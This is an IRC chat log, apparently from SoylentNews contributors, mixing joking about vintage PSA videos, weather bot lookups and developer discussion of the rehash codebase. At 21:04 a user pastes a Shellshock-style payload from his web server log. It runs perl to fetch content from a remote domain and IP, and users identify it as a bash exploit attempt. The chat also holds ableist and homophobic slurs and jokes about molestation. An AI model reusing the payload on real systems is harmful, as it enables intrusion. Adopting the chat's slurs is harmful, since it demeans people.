[08:21:19] <chromas> Bugs goes on about how drugs are bad while gnawing a carrot
[08:21:36] <chromas> "I can quit anytime I want!"
[08:21:38] <SirFinkus> just wait until the go for the crack
[08:22:54] <chromas> oh yeah, the turtle's blaming drugs for the kid not watching for open manholes while chasing a wallet thief
[08:23:07] <chromas> it's like gilligan's island
[08:23:48] <chromas> ciri: rollercoasters are bad, mk'ay
[08:25:46] <SirFinkus> idk, this kid seems cool enough without drugs, he has a mullet, skateboards, and knows the TMNT
[08:26:00] <SirFinkus> and kermit the frog
[08:26:19] <chromas> yeah but he also knows garfield; not cool man
[08:27:19] <SirFinkus> I think bugs bunny was going for a cock joke
[08:27:57] <chromas> lol
[08:27:58] <ciri> i don't think it's that funny lol
[08:28:15] <SirFinkus> at 18:05
[08:28:49] <chromas> cartoon_peer_pressure++
[08:28:49] <Bender> karma - cartoon_peer_pressure: 1
[08:29:22] <SirFinkus> "Pooh bear knows why you don't talk to mom and dad"
[08:29:29] <SirFinkus> good indication to lay off the drugs for a while
[08:29:53] <chromas> the sister was surprised he could suddenly talk
[08:30:01] <chromas> at the end, we find out she's the stoner
[08:30:01] <SirFinkus> although that would probably a deliriant rather than pot
[08:30:20] <SirFinkus> sister took too much benadryl
[08:30:26] <SirFinkus> no crystal spiders though
[08:32:09] <chromas> I bet all the animators and designers were on drugs while making that
[08:32:57] <chromas> nothing specific or accurate—just "drugs"
[08:33:28] <SirFinkus> I wonder what it is about PSAs that make them universally hilarious
[08:33:58] <chromas> friends don't let friends make PSAa
[08:34:00] <chromas> s
[08:35:31] <chromas> hm, toss a ghost out the window and suddenly he can't float no more
[08:36:10] <SirFinkus> shut up ms piggy, we can see your panties
[08:36:27] <SirFinkus> "there's nothing cool about a guy on drugs"
[08:36:58] <SirFinkus> idk, Ozzy Osbourne is pretty cool
[08:37:11] <chromas> heh
[08:37:22] <chromas> after the credits, there's a mcdonald's ad with tards
[08:38:11] <SirFinkus> https://www.youtube.com another classic
[08:38:12] <MrJefferson> ^ 03Boys Beware (1961) - YouTube
[08:39:42] <chromas> "Wally never did this sort of thing to the Beav'."
[08:39:50] <SirFinkus> jimmy thumbs a ride, than the guy driving decides to thumb jimmy
[08:40:55] <SirFinkus> the guy being John Waters of course
[08:43:00] <chromas> y'know, these would've been topical on the 4-20 post
[08:43:27] <SirFinkus> but I was TOO HIGH GET OUT OF MY HEAD
[08:44:07] <SirFinkus> shit, now I've gone down this rabbit hole again
[08:44:10] <chromas> that child molester dude is so cool
[08:44:17] <chromas> check out them shades, man
[08:44:24] <SirFinkus> I'll have to watch sex education for trainables too
[08:45:06] <chromas> he does have the cop/pedo mustache though
[08:53:56] <SirFinkus> https://www.youtube.com
[08:53:57] <MrJefferson> ^ 03The ABC of Sex Education for Trainables (1975) - YouTube
[08:54:21] <SirFinkus> if you like the retards
[08:54:37] <SirFinkus> and creepy mustaches
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[08:54:54] <chromas> cops?
[08:55:42] <SirFinkus> 1975, so everybody
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[08:59:06] * chromas is watching Girls Beware
[08:59:06] <arti> trainables
[08:59:19] <chromas> looks like a classic SVU episode
[08:59:23] <arti> is that some kind of japanese flick
[08:59:44] <SirFinkus> I watched a bit of that, but trainables is better
[09:00:05] <chromas> traintables
[09:00:12] <chromas> ~define trainables
[09:00:14] <exec> [urbandictionary] 03Trainable: Affected with moderate mental retardation and capable of being trained in self-care and in simple social and work skills in a sheltered environment.
[09:00:57] <arti> sounds like fucking diapers
[09:01:06] <arti> New Huggies Trainables
[09:01:23] <arti> "Capable of training even the toughest in self-care!"
[09:01:40] <arti> *clip of blue liquid poured into drawers*
[09:04:15] <chromas> "If you raise your young girls according to the bible these things will not happen. Raise your kids in a independent fundamental Baptist Church and you will not have these problems."
[09:04:53] * arti lifts a young girl according to the bible
[09:04:57] <SirFinkus> "hey franky, why haven't you gotten up yet" "ngnIm nwet mgandsticky"
[09:05:10] <arti> lol
[09:05:16] <arti> SirFinkus++
[09:05:16] <Bender> karma - sirfinkus: 13
[09:05:30] * arti laughed too hard at this
[09:05:33] <chromas> arti: you best be keepin' 'em for sex slaves while killing their families
[09:05:48] <arti> just like carving a turkey mate
[09:06:19] <SirFinkus> did that seriously happen in the girls beware video chromas? I punched out
[09:06:32] <SirFinkus> oh shit, I forgot this part
[09:06:54] <chromas> no, replying to arty; #itsinthebible
[09:07:04] <chromas> arti /me can't tab-complete
[09:07:27] <SirFinkus> https://www.youtube.com
[09:07:28] <chromas> oh and the other was a youtube comment
[09:07:29] <MrJefferson> ^ 03The ABC of Sex Education for Trainables (1975) - YouTube
[09:07:44] <SirFinkus> the deadpan delivery
[09:07:58] <SirFinkus> or sex, or SCREWING
[09:08:05] <SirFinkus> or whatever you want to call it
[09:08:42] <chromas> ooh, there was an svu episode about that too
[09:08:57] <arti> that instructor was probably 50s
[09:09:03] <arti> so he was born 1925ish
[09:09:13] <chromas> guy working in a grocery store or something, banging slow girls, calling it 'exorcise'
[09:09:23] <chromas> e
[09:09:28] <SirFinkus> poor ricky
[09:10:41] <chromas> Ricky's mom is totally into him
[09:11:11] <arti> lol "joint"
[09:11:11] <ciri> lol damn!
[09:11:24] <SirFinkus> so many gems in this one
[09:12:32] <arti> good find
[09:17:16] <SirFinkus> I live to serve
[09:17:18] <SirFinkus> (man)
[09:17:35] <chromas> "how the fuck did i get here? this is the last time a drink rum and go on youtube."
[09:21:34] <SirFinkus> shit, now I'm watching the twilight zone
[09:21:35] <SirFinkus> https://www.youtube.com
[09:21:37] <MrJefferson> ^ 03The Twilight Zone To Serve Man - YouTube
[09:25:37] <arti> https://www.youtube.com
[09:25:38] <MrJefferson> ^ 03Porn Before Puberty - YouTube
[09:25:49] <arti> lol the 32 yo stripper lady has total city miles
[09:26:19] <SirFinkus> CYBER PORN
[09:31:01] <chromas> "porn before puberty" — "8th grade" conflict detected
[09:31:13] <SirFinkus> I fucking hate the media
[09:31:25] <SirFinkus> INTERACIAL CYBER PORN ON SMART PHONES
[09:31:28] <SirFinkus> RAP MUSIC
[09:31:30] <SirFinkus> SOCIAL MEDIA
[09:31:32] <SirFinkus> SELFIES
[09:31:39] <arti> elixir of social media
[09:31:48] <arti> juju chen
[09:32:44] <chromas> 3:05: scrolling the web on a 486
[09:34:58] <arti> did you see the stripper?
[09:35:36] <SirFinkus> so am I going to jail for watching this?
[09:35:40] <SirFinkus> I feel like I might be
[09:36:02] <arti> https://i.4cdn.org
[09:36:08] <arti> sfw
[09:36:56] <SirFinkus> idgi
[09:37:08] <chromas> 1945
[09:37:15] <chromas> hiroshima
[09:37:22] <SirFinkus> still not ringing a bell
[09:38:25] <chromas> there's only one thing I know about Hiroshima
[09:38:38] <arti> it's got good noodles?
[09:38:56] <chromas> exactly
[09:39:51] <SirFinkus> https://www.youtube.com
[09:39:52] <MrJefferson> ^ 03広島県府中市府中焼やまかけバージョンを食べてきた。 - YouTube
[09:40:38] <SirFinkus> I want one of these so badly
[09:40:43] <arti> btw did you see the photos this japanese chick has been sharing
[09:40:51] <arti> her bf cheated and she dumped all the apple products in the tub
[09:41:21] <SirFinkus> no
[09:42:16] <SirFinkus> this guy sucks at making these
[09:42:39] * chromas wants noodle-based foodstuffs now :(
[09:43:07] <arti> what the fuck
[09:43:36] <arti> "this is my noodle blob
[09:44:42] <SirFinkus> those ones are medicore too, there's like an 11 minute video of the guy just adding more and more delicious stuff
[09:46:20] <arti> neat
[09:46:44] <SirFinkus> now I've got to find it
[09:47:52] <arti> pm it to me, i'll scope it in the AM
[09:47:56] <arti> gonna crash out
[09:48:38] <SirFinkus> me too
[09:49:22] <arti> !decide "big spoon" "little spoon"
[09:49:23] <ciri> The roll of the dice picks: little spoon.
[09:49:27] <arti> ^_~
[09:49:56] <Bender> [SoylentNews] - US Drone Killed Hostages From U.S. and Italy - http://sylnt.us
[09:50:41] <SirFinkus> hehe
[09:50:56] <SirFinkus> !decide "lube" "go in dry"
[09:50:57] <ciri> The roll of the dice picks: go in dry.
[09:51:20] <SirFinkus> not your luckiest day arti
[09:51:37] <arti> i thought we were rolling for you
[09:51:43] <arti> my roll counts for me
[09:52:05] <arti> it's totally a lucky day, we're getting some
[09:52:11] <SirFinkus> well, you rolled little spoon, so that makes me the big spoon
[09:52:30] <arti> if chromas were here, we can have a 3some
[09:52:33] <arti> it still counts
[09:52:46] <SirFinkus> chromASS
[09:52:50] * SirFinkus bolts
[09:52:57] <chromas> !grab —aw, dammit
[09:52:57] <Bender> I don't think that's a nick....
[09:53:07] <arti> hahaha
[09:53:32] <SirFinkus> who's nick?
[09:53:42] <arti> yeah, wtf.
[09:53:43] <SirFinkus> maybe he could be the spoon that watches
[09:54:02] <arti> are you seeing other people chromas?
[09:54:10] <arti> :/
[09:54:18] <chromas> just the fork
[09:54:28] <arti> perry bible fellowship
[09:54:40] <arti> http://www.pbfcomics.com
[09:54:40] <MrJefferson> ^ 03The Perry Bible Fellowship
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[10:37:40] <crutchy> lmao http://www.pbfcomics.com
[10:37:41] <MrJefferson> ^ 03The Perry Bible Fellowship
[10:40:21] <FatPhil> ~weather dusseldorf
[10:40:23] <exec> 03Düsseldorf, Germany - currently 63°F / 17°C, sunny, wind S at 8 mph, humidity 47% - Friday mostly sunny (53°F-71°F / 12°C-22°C), Saturday showers (50°F-63°F / 10°C-17°C), Sunday showers (49°F-67°F / 9°C-19°C), Monday showers (37°F-51°F / 3°C-11°C)
[10:40:34] <FatPhil> ~weather olpe
[10:40:36] <exec> 03Olpe, Germany - currently 61°F / 16°C, sunny, wind SW at 10 mph, humidity 49% - Friday sunny (47°F-69°F / 8°C-21°C), Saturday rain (46°F-59°F / 8°C-15°C), Sunday showers (47°F-66°F / 8°C-19°C), Monday rain (32°F-52°F / 0°C-11°C)
[10:41:03] <FatPhil> ~weather helsinki
[10:41:04] <exec> 03Helsinki, Finland - currently 48°F / 9°C, mostly sunny, wind W at 10 mph, humidity 40% - Friday partly cloudy (33°F-47°F / 1°C-8°C), Saturday partly cloudy (42°F-50°F / 6°C-10°C), Sunday showers (41°F-46°F / 5°C-8°C), Monday scattered showers (46°F-49°F / 8°C-9°C)
[10:41:15] <FatPhil> ~weather vilnius
[10:41:16] <exec> 03Vilnius, Lithuania - currently 54°F / 12°C, mostly cloudy, wind W at 22 mph, humidity 51% - Friday partly cloudy (38°F-53°F / 3°C-12°C), Saturday partly cloudy (50°F-65°F / 10°C-18°C), Sunday scattered showers (49°F-64°F / 9°C-18°C), Monday partly cloudy (54°F-70°F / 12°C-21°C)
[10:41:44] <FatPhil> Mkay, so I need to pack one of everything, then
[10:42:35] <FatPhil> ~weather tallinn
[10:42:37] <exec> 03Tallinn, Estonia - currently 48°F / 9°C, mostly sunny, wind W at 21 mph, humidity 37% - Friday cloudy (31°F-47°F / -1°C-8°C), Saturday mostly cloudy (45°F-54°F / 7°C-12°C), Sunday scattered showers (42°F-51°F / 6°C-11°C), Monday scattered showers (49°F-60°F / 9°C-16°C)
[10:47:12] <crutchy> http://www.pbfcomics.com
[10:47:13] <MrJefferson> ^ 03The Perry Bible Fellowship
[10:52:02] <crutchy> hahahaha http://www.pbfcomics.com
[10:52:02] <MrJefferson> ^ 03The Perry Bible Fellowship
[10:52:06] <crutchy> so us
[11:12:43] <FatPhil> "retardate"? That's not a word I've encountered before
[11:20:40] <FatPhil> I wonder if that trainables film is on IMDB, now I've seen it, I should rate it!
[11:51:29] <Bender> [SoylentNews] - Jolla Tablet Ship Date Slips - http://sylnt.us - good-fast-cheap-pick-two
[11:58:59] <chromas> android-- #for crashing
[11:58:59] <Bender> karma - android: -3
[11:59:35] <chromas> android-- #telling me to sign into my Wi-Fi ap which doesn't have any such option
[11:59:35] <Bender> karma - android: -4
[12:24:23] * crutchy is starting to wonder if he doesn't need to modify the descriptorspec in proc_open to pipe commands
[12:44:49] <chromas> You could packetize the output
[12:45:33] <chromas> They could all pass serialized structures to each other
[12:47:55] <chromas> Then exec could become a packet router letting scripts talk to each other
[12:48:11] <chromas> exec.net
[12:49:15] <crutchy> it already has ability to 'pipe' data between commands. think i just need to figure out how to process the piping syntax
[12:52:15] <Bender> [SoylentNews] - Arduino vs Arduino - http://sylnt.us - hard-fork
[13:23:46] <FatPhil> SirFinkus - oh noes - my g/f's doing some anagrams related to that trainables sex vid
[13:23:55] <FatPhil> Trainables = brain's late
[14:53:49] <Bender> [SoylentNews] - UK Green Party Proposes 14-year Copyright Term - Artists are not Amused - http://sylnt.us - useful-progress
[15:26:49] <mrcoolbp> SirFinkus: what do you want me to do with the donation bar?
[15:27:08] <mrcoolbp> er uh
[15:27:13] <mrcoolbp> SirFinkus: pong
[15:28:31] <paulej72> hello mrcoolbp
[15:28:41] <mrcoolbp> hey paulej72
[15:29:40] <mrcoolbp> sup?
[15:29:47] <paulej72> notin much
[15:30:13] <paulej72> killed some more bugs last night
[15:30:43] <mrcoolbp> yeah you have been going to town on that rehash eh?
[15:30:53] <paulej72> but was stummped on the nexus loaing bug. did not look at the nexus/topic bug yet
[15:31:39] <mrcoolbp> anything I can do to help?
[15:31:42] <paulej72> yeah now that we have been commiting code to git I can follow along on the progress easier
[15:31:44] <mrcoolbp> (don't say learn perl)
[15:32:08] <paulej72> not that I can think of.
[15:33:00] <paulej72> TheMightyBuzzard said he would be traveling for a week RSN, so once he is back we should be able to get utf8 working properly agin
[15:34:02] <mrcoolbp> lemme check the bug list
[15:34:42] <paulej72> the bug list might not be complete and some of the rehash bugs might be on slashcode
[15:35:11] <mrcoolbp> = /
[15:36:18] <mrcoolbp> are we going to have to migrate all the feature request stuff over to the rehash list?
[15:37:08] <paulej72> yep
[15:39:19] <mrcoolbp> are we still optimistic that being on a modern version of mod_perl and such might attract more devs?
[15:41:13] <mrcoolbp> we should close #102
[15:43:02] * mrcoolbp close 155
[15:48:38] * mrcoolbp closes #102
[15:49:23] <paulej72> fine by me
[15:50:21] <mrcoolbp> hmm, should close 437 also, NCommander got notes working on stories list, though they don't propagate over from the submission notes still
[15:52:21] <mrcoolbp> though it would be cool to actually see them in the list of stories
[15:53:43] <paulej72> that's a seperate fature request ;)
[15:55:03] <mrcoolbp> not really based on the wording
[15:56:48] <mrcoolbp> meh, I'm happy with that one for now methinks, I'll close it
[15:57:10] <mrcoolbp> oh, you already closed it
[15:58:29] <paulej72> I just found a cool issue mover that will do the work of moving the issues from slashcode to rehash.
[15:58:47] <paulej72> I moved a rehash specific bug just now
[15:58:54] <mrcoolbp> cool
[15:59:08] * mrcoolbp closed #410 and added it to #319
[16:01:36] <paulej72> going to get lunch. bbiab
[16:01:44] <mrcoolbp> k
[16:08:00] <paulej72> back
[16:15:53] <TheMightyBuzzard> holy crap, you lot filled my inbox up right proper
[16:16:02] <paulej72> :)
[16:16:59] <TheMightyBuzzard> s'all good, Mark as Read button to the rescue.
[16:19:31] <paulej72> TheMightyBuzzard when is your trip?
[16:19:41] <TheMightyBuzzard> really wish all this random yet important crap would slow up the pace some. haven't had but one n a half coding days in the past forever.
[16:19:55] <TheMightyBuzzard> leaving out sunday quite early.
[16:21:53] <TheMightyBuzzard> will be back the monday a week later late evening.
[16:22:08] <paulej72> flying or driving?
[16:23:05] <TheMightyBuzzard> driving. humboldt, tn to ada, ok, to amarillo, tx, back to ada, ok, then back to home
[16:24:23] <TheMightyBuzzard> twelve hours of driving, barring traffic, and if you can do it on one tank of gas
[16:25:00] <Bender> [SoylentNews] - What If One Country Achieves the Singularity First? - http://sylnt.us - AI-sans-frontieres
[16:26:13] <paulej72> looks like I40 for most of the trip
[16:26:36] <TheMightyBuzzard> pretty much entirely, cept the detour down to ada
[16:26:41] <paulej72> need to move Ada closer to I40
[16:26:47] <TheMightyBuzzard> ya
[16:27:27] <TheMightyBuzzard> frankly, i was sick of seeing I40 long before moving out to TN. driven prolly 20k miles on it in my lifetime.
[16:27:33] <paulej72> hit some fairly important cities along the way
[16:29:01] <TheMightyBuzzard> shame they got the mississippi river bridge all under construction right now. gotta pay too much attention to what you're doing to have a good look at it.
[16:29:57] <paulej72> never cossed the Mississippi in a car. should put that on my bucket list
[16:30:29] <TheMightyBuzzard> yup, definitely. better still, stop at one side of it and just have a look. big fookin river.
[16:32:47] <TheMightyBuzzard> anywho, been running all morning and still waiting on a call to go pick up a truck from the mechanics. gonna have a nap until they call or until i wake up hungry cause i didn't eat lunch.
[16:34:01] <NCommander> mrcoolbp, likely not that difficult
[16:34:04] <NCommander> TheMightyBuzzard, you live in TN?!
[16:34:13] <mrcoolbp> NCommander: cool!
[16:34:16] * NCommander has been in Tennesse 4 times in the last six months
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[16:34:29] <mrcoolbp> her mechanicjay
[16:34:34] <mrcoolbp> hey*
[16:35:22] <mrcoolbp> NCommander: pj and I were going through and closing some old bugs from slash before we migrate them to rehash repo
[16:35:32] <mechanicjay> Yo mrcoolbp, wazzup?
[16:35:40] <mrcoolbp> chillin
[16:35:52] * mrcoolbp has a lot of work to do and he's procratinating a little
[16:36:37] * NCommander still feels like he's made a mess of things by crapping out the A2 port and not doing much after
[16:37:10] <paulej72> NCommander: you did more than that lazy ass TheMightyBuzzard :)
[16:37:40] <NCommander> I don't usually break git
[16:37:46] <NCommander> The biggest thing I want to fix is logtokens
[16:38:10] <NCommander> It looks like the backend only looks at memcache, and never looks at the database; this is why we get such weird behavior when memcache hiccups
[16:38:20] <paulej72> I think I broke git
[16:39:09] <NCommander> well at least its not me:)
[16:39:10] * NCommander ducks
[16:40:38] <paulej72> sure that would be nice to fix. I have been traking down other bugs and killing them recently. going to work on some the nexus/topic bugs this weekend
[16:41:17] <mrcoolbp> yay!
[16:41:26] <mrcoolbp> paulej72: that should be a priority maybe
[16:41:45] <mrcoolbp> NCommander: assist with nexus stuff if you are able ^^ ?
[16:41:47] <paulej72> well i tried last night and my brain broke.
[16:42:13] <mrcoolbp> I mean, we've only wanted nexuses for what, 12 months?
[16:42:16] <mrcoolbp> = )
[16:42:38] <paulej72> need to add debug statements to the code in a bunch of places to find out where shit is breaking.
[16:47:23] <NCommander> paulej72, cool. the reason breaking news doesn't work is because I was thinking of renaming Nexuses to Communities
[16:47:38] <NCommander> (nexuses as a term should refer to something like soylentnews.org or "The Main Page", a grouping of communities)
[16:50:25] <paulej72> NCommander: it does not matter what we call them or where we put them, the index handeler was not comming up properly. we also have an issue where non nexus paths are not giving a 404 but rather a strange partal page.
[16:57:48] <Cyprus> TheMightyBuzzard: Wow you live in TN? I just moved from there where I grew up.
[17:00:47] <NCommander> paulej72, it only works properly when url is set to /n/* something, I need to fix that
[17:01:05] <NCommander> paulej72, look at Slash/Apache/Apache.pm:IndexHandler.pm
[17:02:36] <paulej72> I did, it looked a bit like it was doing stuff twice. I figure once a skin gets set the index handler stuff at the top should do all of the magic. There shoul not need to be a special code to make it happen.
[17:06:03] <paulej72> It seems like the gskin rootdir should make the stuff work correctly. thar is in the top of the IndexHandeler sub. I think the this is not getting set properly for our new nexues and thus breaking the redirects.
[17:09:55] <paulej72> I think the problem is MySQL.pm getSkins sub. This is where the rootdir is set for a skin, and I think we are not setting it right. If i am remembering right. it uses the url from the db to get the rootdir which is empty for BreakinNews.
[17:11:38] <paulej72> OK it uses url and hostname I think as hostname is missing from brakingnews.
[17:15:06] <NCommander> paulej72, when we tested this before, I didn't set hostname
[17:15:09] <NCommander> else it does stupid crap
[17:15:10] <paulej72> well my plan is to look at that code and some other stuff and make it all work, so all we need to do is set the skins correctly
[17:15:21] <NCommander> Hostname should only be set if we care about it, i.e. soylentnews.jp
[17:16:59] <paulej72> I think there is just some brain dead old code here that we can probably make work much better if we code it all proplery.
[17:17:27] <NCommander> <3 paulej72. I'm tied up on Saturday, but I'll bookmark SUnday for getting hydrogen ready to play with this
[17:17:40] <NCommander> paulej72, IMHO, in your opinion, how close are we to deploying rehash?
[17:29:11] <paulej72> NCommander: not very. We still have UTF8 stuff that needs fixed, some search funcionality that needs addressed, and the nexus and topic stuff fixed.
[17:29:58] <paulej72> It would be nice to have hydrogen up with a copy of the production db so we can test deployment of prod data.
[17:48:49] <NCommander> ugh
[17:56:10] <Bender> [SoylentNews] - Homeopathy: Fraud, or Purveyors of Placebos - http://sylnt.us - take-.00002-and-call-me-in-the-morning
[18:19:54] <arti> happy friday
[19:27:21] <Bender> [SoylentNews] - Hubble Space Telescope—25 Years Old Today - http://sylnt.us - deep-field
[20:36:02] <SirFinkus> mrcoolbp just it looks like the last updated bit on the donation meter hasn't been updated, even though there was a donation
[20:36:07] <SirFinkus> still says 4/1
[21:04:47] <chromas> () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http//luxsocks.ru ; wget https://luxsocks.ru --no-check-certificate ; curl http//luxsocks.ru// ; curl -k https://luxsocks.ru ; lwp-download http://luxsocks.ru ; GET http://luxsocks.ru ; lynx http://luxsocks.ru ; wget http://174.122.42.230 ; curl http://174.122.42.230 ; fetch http://174.122.42.230 ; lwp-download http://174.122.42.230 ; GET http://174.
[21:04:47] <chromas> 122.42.230/luxx ; lynx http://174.122.42.230\");
[21:05:23] <Cyprus> umm... what?
[21:05:28] * chromas suspects this is bash exploit attempt or something
[21:05:49] <chromas> just hit my apache log a bunch of times
[21:06:03] <Cyprus> yeah that looks like that env bug
[21:06:19] <chromas> heh, all those links killed the bot
[21:07:09] <Cyprus> interesting
[21:08:09] <arti> lol
[21:08:11] <ciri> heh
[21:08:29] <Cyprus> i wonder if you just caused him to run a malicious script =P
[21:08:32] <chromas> I'd blame the Russians because of the domain name, but the page title is "Luxury Socks" and we all know they're not interested in luxury
[21:08:33] <arti> you should run all those commands
[21:09:17] <Cyprus> considering the exploit itself is just having perl pull the website
[21:09:18] <chromas> they're all just commands to hit a website
[21:09:58] <chromas> but maybe their server returns buttmagic when it detects success
[21:10:33] <arti> if we make a rootkit/sploit the initial variant should be codenamed: buttstuff
[21:10:40] <arti> buttmagic is worthy
[21:10:55] <chromas> oh, btw, that's in the user-agent field
[21:11:11] <chromas> buttstuff++
[21:11:11] <Bender> karma - buttstuff: 1
[21:11:17] <arti> buttmagic++
[21:11:17] <Bender> karma - buttmagic: 1
[21:11:23] <arti> trainables++
[21:11:23] <Bender> karma - trainables: 1
[21:11:38] <chromas> buttpipe++
[21:11:38] <chromas> dogpipe++
[21:11:38] <Bender> karma - buttpipe: 1
[21:11:38] <Bender> karma - dogpipe: 2
[21:11:50] <chromas> ciri++
[21:11:50] <Bender> karma - ciri: -21
[21:11:54] <TheMightyBuzzard> NCommander, Cyprus yup. moved here not quite a month ago.
[21:11:54] <chromas> ++ciri
[21:11:54] <MrJefferson> Karma - ciri: 10
[21:12:02] <arti> inadvertently I mentioned that to my father, he mentioned "It was a big thing in the 70s"
[21:12:20] <chromas> TheMightyBuzzard: do you have to change your loves and prejudices now?
[21:12:33] <TheMightyBuzzard> nah, just gotta talk a little slower.
[21:12:39] <chromas> arti: dogpipe? or buttstuff?
[21:12:46] <arti> trainables, sorry.
[21:12:55] <arti> dogpipe is forever crutchy.
[21:12:55] <chromas> ah
[21:13:10] <TheMightyBuzzard> apparently the further you move east the slower the speech patterns get in the southern US.
[21:13:34] * arti stores this fact.
[21:13:56] <chromas> makes sense; even happens in csi: miami
[21:14:10] <chromas> sloooow in flah-ridda
[21:14:41] * chromas also notes they always hose down outdoor crime scenes before the detectives show up
[21:14:50] <TheMightyBuzzard> oh and apparently everyone east of the mississippi drinks their tea sweet.
[21:15:13] <chromas> what about their coffee?
[21:15:40] <mythterj> I prefer the way they serve tea on Long Island..
[21:15:41] <TheMightyBuzzard> coffee is coffee but they call it le coffee
[21:16:30] <chromas> "I'll take it black. What? You meant coffee? Sure, whatever"
[21:17:40] <arti> i saw a bit on that
[21:17:50] <arti> I'll take a coffe, black.
[21:17:57] <arti> black guy serving. "Here's your coffee, white"
[21:18:02] <chromas> TheMightyBuzzard: are you saying it's al French down there now?
[21:18:04] <TheMightyBuzzard> oh yeah, there's significantly more black folks in TN than in OK. weirded me out the first week. still had my brain dialed in that indians should be the dominant minority.
[21:18:25] * arti mistakes indians for mexicans
[21:18:36] <chromas> who doesn't
[21:18:40] <TheMightyBuzzard> fair mistake. i do too and i'm bloody indian.
[21:19:05] * arti misses fishing on reservation
[21:19:29] <arti> so what's it like living in london?
[21:19:32] <arti> :P
[21:19:41] <TheMightyBuzzard> man, there's like five good fishing lakes and three good rivers within 20m of where i am.
[21:19:58] <arti> sounds pleasant, what kinda fish?
[21:20:29] <TheMightyBuzzard> i mostly go after catfish but there's all manner of black bass and crappie as well.
[21:20:43] <TheMightyBuzzard> which cover the important ones
[21:21:24] <TheMightyBuzzard> also some muskies and saugers and pike and whatnot but they don't really matter cause they're rare.
[21:22:08] <mrcoolbp> SirFinkus: was just the date that wasn't updated, thanks
[21:22:17] <SirFinkus> figured
[21:22:21] <arti> btw do you guys do any tests?
[21:22:25] <arti> integration?
[21:22:39] <arti> TheMightyBuzzard, mmm should do a fish fry sometime
[21:23:14] <SirFinkus> I heard fish and fry
[21:23:15] <TheMightyBuzzard> planning on one soonish. have enough catfish to feed like six people well right now.
[21:23:31] <SirFinkus> I had some bitchin fish tacos the other day
[21:23:52] * arti read that as bitcoin
[21:24:01] <arti> where at?
[21:24:06] * arti has a few spots
[21:24:20] <SirFinkus> home made
[21:24:26] <TheMightyBuzzard> never had anyone bitch while i was eating a fish taco. cept maybe to say faster or some such.
[21:24:29] <arti> one does mahimahi pretty well but the calamari takes the cake. the house sauce they have is the main attraction
[21:24:38] <arti> :U~
[21:25:59] * TheMightyBuzzard waits impatiently on the pizza guy
[21:26:08] <SirFinkus> I put some cojita cilantro dressing on it
[21:27:23] <arti> i just ate and i'm thinking about what's next lol
[21:27:53] <SirFinkus> today I have leftover tortellini alfredo
[21:29:30] <arti> do you talk like the swedish chef when preparing?
[21:29:33] <Cyprus> heh sweet tea is only tea
[21:29:44] <crutchy> coffee++
[21:29:44] <Bender> karma - coffee: 1310
[21:29:50] <arti> beverages++
[21:29:50] <Bender> karma - beverages: 1
[21:29:51] <Cyprus> how the hell does one end up in humboldt from outside the state?
[21:30:01] <arti> smoking something good?
[21:30:20] <crutchy> ~define humboldt
[21:30:23] <exec> [urbandictionary] 03humboldt: "Humboldt" County is a beautiful place in northern California where the weed grows high and the people get even higher!! To bad there are also a gazillion tweekers there to, thats why I move...
[21:30:30] <Cyprus> the town he was referencing
[21:30:33] <Cyprus> it's somewhat bfe
[21:30:47] <crutchy> ~define bfe
[21:30:49] <arti> this might be a new expression to crutchy too
[21:30:49] <exec> [soylent] bfe: Big Fuckken Emu
[21:30:54] <arti> egypt :P
[21:30:55] <crutchy> lol
[21:30:56] <ciri> HAHAHAHA
[21:31:16] <chromas> ~count message=emu
[21:31:27] <exec> 03181
[21:31:28] <arti> groks the log?
[21:31:30] <arti> noice
[21:31:35] <arti> ~count message=faggot
[21:31:35] <Cyprus> http://www.urbandictionary.com
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[21:31:38] <MrJefferson> ^ 03Urban Dictionary: BFE
[21:31:41] <exec> 0370
[21:31:44] <crutchy> you guys know more about emus than me
[21:32:00] <arti> ~count message=a
[21:32:03] <crutchy> oh
[21:32:04] <exec> 03365329
[21:32:15] <crutchy> we call that bumfuck west
[21:32:20] <arti> bfw?
[21:32:27] <chromas> hm, what's the regex for one whole word?
[21:32:28] <Cyprus> west is a different bf in TN
[21:32:32] <Cyprus> its hillbilly land
[21:32:36] <crutchy> cos out west is all getting lost area
[21:32:39] <arti> chromas? ^?
[21:32:56] <Cyprus> (/w+)
[21:32:57] <crutchy> / word /
[21:33:03] <TheMightyBuzzard> pizza's here. off i fuck.
[21:33:07] <arti> hahaha
[21:33:15] <chromas> ~count message=(/emu+)
[21:33:18] <exec> 032
[21:33:24] <chromas> no way
[21:33:32] <Cyprus> ~count message=(/w+)
[21:33:34] <exec> 036722
[21:33:43] <chromas> ~count message=(/emu+) channel=
[21:33:44] <arti> rare word in these parts
[21:33:46] <crutchy> ~count message=emu\+\+
[21:33:49] <exec> 030
[21:33:50] <exec> 0320
[21:34:04] <arti> i think you just got one of the daily doubles.
[21:34:17] <chromas> I know emu war's been mentioned a few times
[21:34:29] <Cyprus> ~count message=((?!\w)emu(?!/w))
[21:34:35] <crutchy> i think mine was the zero
[21:34:45] <Cyprus> that may have broken a niave parser
[21:34:46] <exec> 030
[21:34:56] <Cyprus> ~count message=((?!\w)emu(?!\w))
[21:35:11] <crutchy> luckily chromas is handling all that cos i have nfi
[21:35:12] <exec> 030
[21:35:21] <chromas> [this spanks the postgresql server]
[21:35:41] <crutchy> my bumbot just throws it at his web api
[21:35:44] <Cyprus> its not my fault you arent rate limiting bobby tables queries
[21:35:54] <Cyprus> =P
[21:36:04] <chromas> feel free to try ;)
[21:36:18] <Cyprus> so you're saying i can detonate it with a self recursive negative lookahead group?
[21:36:20] <chromas> oops, "give it a go"
[21:36:28] <chromas> not sure
[21:36:32] <chromas> go for it
[21:36:42] <crutchy> ~count message=\//\//\+\#$\//
[21:36:44] <exec> 030
[21:36:46] <Cyprus> i'd prefer not to, i don't want to break someone's site from work
[21:37:16] <crutchy> ~count message=how much wood would a woodchuck chuck if a woodchuck could chuck wood
[21:37:20] <chromas> ~count message=systemd channel=
[21:37:20] <exec> 030
[21:37:29] <exec> 0337478
[21:37:38] <Cyprus> ~count message=((?<!\w)emu(?!\w))
[21:37:40] <exec> 03Query failed, faggot! ERROR: invalid regular expression: quantifier operand invalid
[21:37:43] <Cyprus> that should grab only emu
[21:37:43] * crutchy will add a descriptor
[21:37:51] <Cyprus> bs that is valid regex lol
[21:38:30] * crutchy never won any arguments with preg interpreters
[21:38:37] <Cyprus> lol
[21:38:37] <ciri> heh
[21:38:47] <Cyprus> eh its an arcane language anyway
[21:38:50] <crutchy> oh that so came out wrong
[21:38:57] <chromas> Bender: grab crutchy
